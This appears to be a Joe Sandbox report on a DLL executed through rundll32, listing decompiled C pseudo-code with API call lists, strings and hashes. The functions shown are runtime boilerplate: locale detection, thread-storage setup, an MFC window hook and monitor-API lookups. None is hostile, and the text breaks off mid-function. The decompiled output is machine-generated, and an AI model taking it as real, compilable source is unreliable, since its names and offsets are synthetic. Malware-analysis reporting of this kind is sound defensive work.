Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction ID: de176050283294f5fba88da379e0eecc3ccd74c62a8982f524273e82d2dc9d2d
Opcode Fuzzy Hash: fb4c216abc4c33cb282e021b119ac4542c3b2f6db45558139360cfc9261ccdec
Instruction Fuzzy Hash: 3BF0827B38025B26FA20B2748C41FBA9154CF86BD0F120538FA42EA5DECF91D8022271

Uniqueness

Uniqueness Score: -1.00%

Function 1000AA3A, Relevance: 45.7, APIs: 21, Strings: 5, Instructions: 229
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E1000AA3A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* __ebp;
				signed int _t73;
				struct HINSTANCE__* _t78;
				_Unknown_base(*)()* _t79;
				struct HINSTANCE__* _t81;
				signed int _t92;
				signed int _t94;
				unsigned int _t97;
				void* _t113;
				unsigned int _t115;
				signed short _t123;
				unsigned int _t124;
				_Unknown_base(*)()* _t131;
				signed short _t133;
				unsigned int _t134;
				intOrPtr _t143;
				void* _t144;
				int _t145;
				int _t146;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				int _t172;
				signed int _t176;
				void* _t177;
				CHAR* _t181;
				void* _t183;
				void* _t184;

				_t167 = __edx;
				_t184 = _t183 - 0x118;
				_t181 = _t184 - 4;
				_t73 =  *0x10057a08; // 0xfd220812
				_t181[0x118] = _t73 ^ _t181;
				_push(0x58);
				E10017BC1(E10027E56, __ebx, __edi, __esi);
				_t169 = 0;
				 *(_t181 - 0x40) = _t181[0x124];
				 *(_t181 - 0x14) = 0;
				 *(_t181 - 0x10) = 0;
				_t78 = GetModuleHandleA("kernel32.dll");
				 *(_t181 - 0x18) = _t78;
				_t79 = GetProcAddress(_t78, "GetUserDefaultUILanguage");
				if(_t79 == 0) {
					if(GetVersion() >= 0) {
						_t81 = GetModuleHandleA("ntdll.dll");
						if(_t81 != 0) {
							 *(_t181 - 0x14) = 0;
							EnumResourceLanguagesA(_t81, 0x10, 1, E1000A1E3, _t181 - 0x14);
							if( *(_t181 - 0x14) != 0) {
								_t97 =  *(_t181 - 0x14) & 0x0000ffff;
								_t145 = _t97 & 0x3ff;
								 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t97 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t145);
								 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t145);
								 *(_t181 - 0x10) = 2;
							}
						}
					} else {
						 *(_t181 - 0x18) = 0;
						if(RegOpenKeyExA(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x20019, _t181 - 0x18) == 0) {
							 *(_t181 - 0x44) = 0x10;
							if(RegQueryValueExA( *(_t181 - 0x18), 0, 0, _t181 - 0x20,  &(_t181[0x108]), _t181 - 0x44) == 0 &&  *(_t181 - 0x20) == 1) {
								_t113 = E1001815B( &(_t181[0x108]), "%x", _t181 - 0x1c);
								_t184 = _t184 + 0xc;
								if(_t113 == 1) {
									 *(_t181 - 0x14) =  *(_t181 - 0x1c) & 0x0000ffff;
									_t115 =  *(_t181 - 0x1c) & 0x0000ffff;
									_t146 = _t115 & 0x3ff;
									 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t115 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t146);
									 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale(_t146);
									 *(_t181 - 0x10) = 2;
								}
							}
							RegCloseKey( *(_t181 - 0x18));
						}
					}
				} else {
					_t123 =  *_t79() & 0x0000ffff;
					 *(_t181 - 0x14) = _t123;
					_t124 = _t123 & 0x0000ffff;
					_t164 = _t124 & 0x3ff;
					 *(_t181 - 0x1c) = _t164;
					 *((intOrPtr*)(_t181 - 0x34)) = ConvertDefaultLocale(_t124 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t164);
					 *((intOrPtr*)(_t181 - 0x30)) = ConvertDefaultLocale( *(_t181 - 0x1c));
					 *(_t181 - 0x10) = 2;
					_t131 = GetProcAddress( *(_t181 - 0x18), "GetSystemDefaultUILanguage");
					if(_t131 != 0) {
						_t133 =  *_t131() & 0x0000ffff;
						 *(_t181 - 0x14) = _t133;
						_t134 = _t133 & 0x0000ffff;
						_t172 = _t134 & 0x3ff;
						 *((intOrPtr*)(_t181 - 0x2c)) = ConvertDefaultLocale(_t134 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t172);
						 *((intOrPtr*)(_t181 - 0x28)) = ConvertDefaultLocale(_t172);
						 *(_t181 - 0x10) = 4;
					}
					_t169 = 0;
				}
				 *(_t181 - 0x10) =  &(1[ *(_t181 - 0x10)]);
				_t181[ *(_t181 - 0x10) * 4 - 0x34] = 0x800;
				_t181[0x105] = 0;
				_t181[0x104] = 0;
				if(GetModuleFileNameA(0x10000000, _t181, 0x105) != _t169) {
					_t143 = 0x20;
					E100174D0(_t169, _t181 - 0x64, _t169, _t143);
					 *((intOrPtr*)(_t181 - 0x64)) = _t143;
					 *(_t181 - 0x5c) = _t181;
					 *((intOrPtr*)(_t181 - 0x50)) = 0x3e8;
					 *(_t181 - 0x48) = 0x10000000;
					 *((intOrPtr*)(_t181 - 0x60)) = 0x88;
					E1000A1F9(_t181 - 0x3c, 0x10000000, 0xffffffff);
					 *(_t181 - 4) = _t169;
					if(E1000A2A9(_t181 - 0x3c, _t181 - 0x64) != 0) {
						E1000A2DF(_t181 - 0x3c);
					}
					_t176 = 0;
					if( *(_t181 - 0x10) <= _t169) {
						L23:
						 *(_t181 - 4) =  *(_t181 - 4) | 0xffffffff;
						E1000A8D0(_t181 - 0x3c);
						_t92 = _t169;
						goto L24;
					} else {
						while(1) {
							_t94 = E1000A803(_t143,  *(_t181 - 0x40), _t167, _t169, _t181[_t176 * 4 - 0x34]);
							if(_t94 != _t169) {
								break;
							}
							_t176 =  &(1[_t176]);
							if(_t176 <  *(_t181 - 0x10)) {
								continue;
							}
							goto L23;
						}
						_t169 = _t94;
						goto L23;
					}
				} else {
					_t92 = 0;
					L24:
					 *[fs:0x0] =  *((intOrPtr*)(_t181 - 0xc));
					_pop(_t170);
					_pop(_t177);
					_pop(_t144);
					return E100167D5(_t92, _t144, _t181[0x118] ^ _t181, _t167, _t170, _t177);
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 1000AA59
GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40
GetVersion.KERNEL32 ref: 1000AB55
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 1000AB7A
RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 1000AB9F
_sscanf.LIBCMT ref: 1000ABBF
ConvertDefaultLocale.KERNEL32(?), ref: 1000ABF4
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000ABFA
RegCloseKey.ADVAPI32(?), ref: 1000AC09
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 1000AC19
EnumResourceLanguagesA.KERNEL32 ref: 1000AC34
ConvertDefaultLocale.KERNEL32(?), ref: 1000AC65
ConvertDefaultLocale.KERNEL32(74E04EE0), ref: 1000AC6B
_memset.LIBCMT ref: 1000AC85

Strings

GetSystemDefaultUILanguage, xrefs: 1000AACB
Control Panel\Desktop\ResourceLocale, xrefs: 1000AB6D
GetUserDefaultUILanguage, xrefs: 1000AA82
kernel32.dll, xrefs: 1000AA6C
ntdll.dll, xrefs: 1000AC14

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$CloseEnumFileH_prolog3LanguagesNameOpenQueryResourceValueVersion_memset_sscanf
String ID: Control Panel\Desktop\ResourceLocale$GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 434808117-483790700
Opcode ID: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction ID: 772d67b6ef5536ffa942379cc2d037747f9683b4a435f76ff704d577c4812cba
Opcode Fuzzy Hash: 391a7af3d11bcdbc6c68bf10dbaf9488a7631794da5acccd773ff9b8d76e3d4f
Instruction Fuzzy Hash: 638182B0D002699FEB10DFA5DC84AFEBBF9FB49350F500626E554E7280DB749A85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1001C11B, Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109
libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E1001C11B(void* __ebx) {
				void* __edi;
				void* __esi;
				_Unknown_base(*)()* _t7;
				long _t10;
				void* _t11;
				int _t12;
				void* _t18;
				intOrPtr _t21;
				long _t26;
				void* _t30;
				struct HINSTANCE__* _t37;
				void* _t40;
				void* _t42;

				_t30 = __ebx;
				_t37 = GetModuleHandleA("KERNEL32.DLL");
				if(_t37 != 0) {
					 *0x1005aea4 = GetProcAddress(_t37, "FlsAlloc");
					 *0x1005aea8 = GetProcAddress(_t37, "FlsGetValue");
					 *0x1005aeac = GetProcAddress(_t37, "FlsSetValue");
					_t7 = GetProcAddress(_t37, "FlsFree");
					__eflags =  *0x1005aea4;
					_t40 = TlsSetValue;
					 *0x1005aeb0 = _t7;
					if( *0x1005aea4 == 0) {
						L6:
						 *0x1005aea8 = TlsGetValue;
						 *0x1005aea4 = E1001BDD2;
						 *0x1005aeac = _t40;
						 *0x1005aeb0 = TlsFree;
					} else {
						__eflags =  *0x1005aea8;
						if( *0x1005aea8 == 0) {
							goto L6;
						} else {
							__eflags =  *0x1005aeac;
							if( *0x1005aeac == 0) {
								goto L6;
							} else {
								__eflags = _t7;
								if(_t7 == 0) {
									goto L6;
								}
							}
						}
					}
					_t10 = TlsAlloc();
					__eflags = _t10 - 0xffffffff;
					 *0x10057d30 = _t10;
					if(_t10 == 0xffffffff) {
						L15:
						_t11 = 0;
						__eflags = 0;
					} else {
						_t12 = TlsSetValue(_t10,  *0x1005aea8);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L15;
						} else {
							E10018042();
							 *0x1005aea4 = E1001BD03( *0x1005aea4);
							 *0x1005aea8 = E1001BD03( *0x1005aea8);
							 *0x1005aeac = E1001BD03( *0x1005aeac);
							 *0x1005aeb0 = E1001BD03( *0x1005aeb0);
							_t18 = E1001A3D3();
							__eflags = _t18;
							if(_t18 == 0) {
								L14:
								E1001BE05();
								goto L15;
							} else {
								_push(E1001BF91);
								_t21 =  *((intOrPtr*)(E1001BD6F( *0x1005aea4)))();
								__eflags = _t21 - 0xffffffff;
								 *0x10057d2c = _t21;
								if(_t21 == 0xffffffff) {
									goto L14;
								} else {
									_t42 = E1001E76E(1, 0x214);
									__eflags = _t42;
									if(_t42 == 0) {
										goto L14;
									} else {
										_push(_t42);
										_push( *0x10057d2c);
										__eflags =  *((intOrPtr*)(E1001BD6F( *0x1005aeac)))();
										if(__eflags == 0) {
											goto L14;
										} else {
											_push(0);
											_push(_t42);
											E1001BE42(_t30, _t37, _t42, __eflags);
											_t26 = GetCurrentThreadId();
											 *(_t42 + 4) =  *(_t42 + 4) | 0xffffffff;
											 *_t42 = _t26;
											_t11 = 1;
										}
									}
								}
							}
						}
					}
					return _t11;
				} else {
					E1001BE05();
					return 0;
				}
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,10017978,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C121
__mtterm.LIBCMT ref: 1001C12D

Part of subcall function 1001BE05: __decode_pointer.LIBCMT ref: 1001BE16
Part of subcall function 1001BE05: TlsFree.KERNEL32(0000001F,10017A14,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001BE30

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 1001C143
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 1001C150
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 1001C15D
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 1001C16A
TlsAlloc.KERNEL32(?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1BA
TlsSetValue.KERNEL32(00000000,?,?,00000001,?,?,10017AE8,00000001,?,?,1002F840,0000000C,10017BA2,?), ref: 1001C1D5
__init_pointers.LIBCMT ref: 1001C1DF
__encode_pointer.LIBCMT ref: 1001C1EA
__encode_pointer.LIBCMT ref: 1001C1FA
__encode_pointer.LIBCMT ref: 1001C20A
__encode_pointer.LIBCMT ref: 1001C21A
__decode_pointer.LIBCMT ref: 1001C23B
__calloc_crt.LIBCMT ref: 1001C254
__decode_pointer.LIBCMT ref: 1001C26E
__initptd.LIBCMT ref: 1001C27D
GetCurrentThreadId.KERNEL32 ref: 1001C284

Strings

FlsFree, xrefs: 1001C15F
KERNEL32.DLL, xrefs: 1001C11C
FlsSetValue, xrefs: 1001C152
FlsGetValue, xrefs: 1001C145
FlsAlloc, xrefs: 1001C13D

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc__encode_pointer$__decode_pointer$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2657569430-3819984048
Opcode ID: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction ID: b5f7097eefea174a9ed91942db92a94305995674aef8197461d434292f48097b
Opcode Fuzzy Hash: f8eb42d05a0f46123fcd151e30e2a53c2e7fcd681058195d0d7fb9ca21756e1b
Instruction Fuzzy Hash: E4319335900735AFEB11EFB59CCEA4A3BF1EB46360B144526F5049A1B1EBB5D8C0CB60

Uniqueness

Uniqueness Score: -1.00%

Function 10011389, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E10011389(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				void* _t55;
				signed int _t56;
				void* _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				short _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E10017C2A(E1002866E, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x1000a0f5);
				 *(_t116 - 0x120) = _t110;
				_t54 = E10013D98(_t94, 0x10058f44, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E1000A0DB(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t55 = E1000D5EC(_t94, _t106, _t111, __eflags);
					__eflags = _t111;
					_t56 =  *(_t55 + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x1005acbc;
						if( *0x1005acbc == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x1005a8dc;
								if( *0x1005a8dc != 0) {
									L19:
									__eflags = (GetClassLongA(_t94, 0xffffffe0) & 0x0000ffff) -  *0x1005a8dc; // 0x0
									if(__eflags != 0) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										__eflags = _t59;
										 *(_t116 - 0x14) = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E10011245);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E100174D0(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E1000E5E2(_t94, _t97, _t106, "#32768", __eflags);
								__eflags = _t72;
								 *0x1005a8dc = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E100199C1(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E1000D638(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E1000FB9D(_t111, _t116, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf0))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E1001025C);
							__eflags = _t83 - E1001025C;
							if(_t83 != E1001025C) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E1000CEFC();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E1000A7E1(_t87, "ime");
						__eflags = _t88;
						_pop(_t97);
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E10017C74(_t94, _t105, _t110);
				}
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 10011393

Part of subcall function 10013D98: __EH_prolog3.LIBCMT ref: 10013D9F

CallNextHookEx.USER32(?,?,?,?), ref: 100113D7

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetClassLongA.USER32 ref: 1001141B
GlobalGetAtomNameA.KERNEL32 ref: 10011445
SetWindowLongA.USER32(?,000000FC,Function_0001025C), ref: 1001149A
_memset.LIBCMT ref: 100114E4
GetClassLongA.USER32 ref: 10011514
GetClassNameA.USER32(?,?,00000100), ref: 10011535
GetWindowLongA.USER32 ref: 10011559
GetPropA.USER32 ref: 10011573
SetPropA.USER32 ref: 1001157E
GetPropA.USER32 ref: 10011586
GlobalAddAtomA.KERNEL32 ref: 1001158E
SetWindowLongA.USER32(?,000000FC,Function_00011245), ref: 1001159C
CallNextHookEx.USER32(?,00000003,?,?), ref: 100115B4
UnhookWindowsHookEx.USER32(?), ref: 100115C8

Strings

AfxOldWndProc423, xrefs: 1001156C, 10011571, 1001157C, 10011584, 1001158D
ime, xrefs: 1001144E
#32768, xrefs: 100114F6, 100114FB, 10011545

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction ID: 45731ac5847e6eda9355a9c996fe1b8867c86b30351497dbe8ef7f26860efac9
Opcode Fuzzy Hash: a59f08c89f11fe6b3e13f01d104cbc0d9868f5cf59dfadfd77116e560bc0dc28
Instruction Fuzzy Hash: 09619E31900666EFEB14DB61CC49BDE7BA9EF483A1F214254F506AB191DB34DEC1CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6C3, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 77
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000D6C3() {
				void* __ebx;
				void* __esi;
				struct HINSTANCE__* _t5;
				_Unknown_base(*)()* _t6;
				_Unknown_base(*)()* _t7;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t9;
				_Unknown_base(*)()* _t10;
				_Unknown_base(*)()* _t11;
				_Unknown_base(*)()* _t12;
				struct HINSTANCE__* _t18;
				void* _t20;
				intOrPtr _t23;
				_Unknown_base(*)()* _t24;

				_t23 =  *0x1005a76c; // 0x0
				if(_t23 == 0) {
					_push(_t20);
					 *0x1005a770 = E1000D66B(0, _t20, __eflags);
					_t18 = GetModuleHandleA("USER32");
					__eflags = _t18;
					if(_t18 == 0) {
						L12:
						 *0x1005a750 = 0;
						 *0x1005a754 = 0;
						 *0x1005a758 = 0;
						 *0x1005a75c = 0;
						 *0x1005a760 = 0;
						 *0x1005a764 = 0;
						 *0x1005a768 = 0;
						_t5 = 0;
					} else {
						_t6 = GetProcAddress(_t18, "GetSystemMetrics");
						__eflags = _t6;
						 *0x1005a750 = _t6;
						if(_t6 == 0) {
							goto L12;
						} else {
							_t7 = GetProcAddress(_t18, "MonitorFromWindow");
							__eflags = _t7;
							 *0x1005a754 = _t7;
							if(_t7 == 0) {
								goto L12;
							} else {
								_t8 = GetProcAddress(_t18, "MonitorFromRect");
								__eflags = _t8;
								 *0x1005a758 = _t8;
								if(_t8 == 0) {
									goto L12;
								} else {
									_t9 = GetProcAddress(_t18, "MonitorFromPoint");
									__eflags = _t9;
									 *0x1005a75c = _t9;
									if(_t9 == 0) {
										goto L12;
									} else {
										_t10 = GetProcAddress(_t18, "EnumDisplayMonitors");
										__eflags = _t10;
										 *0x1005a764 = _t10;
										if(_t10 == 0) {
											goto L12;
										} else {
											_t11 = GetProcAddress(_t18, "GetMonitorInfoA");
											__eflags = _t11;
											 *0x1005a760 = _t11;
											if(_t11 == 0) {
												goto L12;
											} else {
												_t12 = GetProcAddress(_t18, "EnumDisplayDevicesA");
												__eflags = _t12;
												 *0x1005a768 = _t12;
												if(_t12 == 0) {
													goto L12;
												} else {
													_t5 = 1;
													__eflags = 1;
												}
											}
										}
									}
								}
							}
						}
					}
					 *0x1005a76c = 1;
					return _t5;
				} else {
					_t24 =  *0x1005a760; // 0x0
					return 0 | _t24 != 0x00000000;
				}
			}

APIs

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,76925D80,1000D80F,?,?,?,?,?,?,?,1000F61E,00000000,00000002,00000028), ref: 1000D6EC
GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 1000D708
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 1000D719
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 1000D72A
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 1000D73B
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 1000D74C
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 1000D75D
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 1000D76E

Strings

MonitorFromRect, xrefs: 1000D724
GetSystemMetrics, xrefs: 1000D702
MonitorFromPoint, xrefs: 1000D735
EnumDisplayDevicesA, xrefs: 1000D768
USER32, xrefs: 1000D6E2
EnumDisplayMonitors, xrefs: 1000D746
GetMonitorInfoA, xrefs: 1000D757
MonitorFromWindow, xrefs: 1000D713

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32
API String ID: 667068680-68207542
Opcode ID: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction ID: 93615fb53cb164fe7f3d347b700eade87a81924dee4312457033af375ccc55a3
Opcode Fuzzy Hash: ee0e5f062bbe94e4a9e7c06d78520802f13055058268d31d10b74b4948bb3027
Instruction Fuzzy Hash: 7921E3B19097699BE701EF369DC856DBAF5F34F281391453FE109D2528EB3884C6EE20

Uniqueness

Uniqueness Score: -1.00%

Function 1000F530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E1000F530(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v12;
				struct tagRECT _v28;
				struct tagRECT _v44;
				struct tagRECT _v60;
				struct tagRECT _v80;
				char _v100;
				void* __edi;
				intOrPtr _t58;
				struct HWND__* _t59;
				intOrPtr _t94;
				signed int _t103;
				struct HWND__* _t104;
				void* _t105;
				struct HWND__* _t107;
				long _t108;
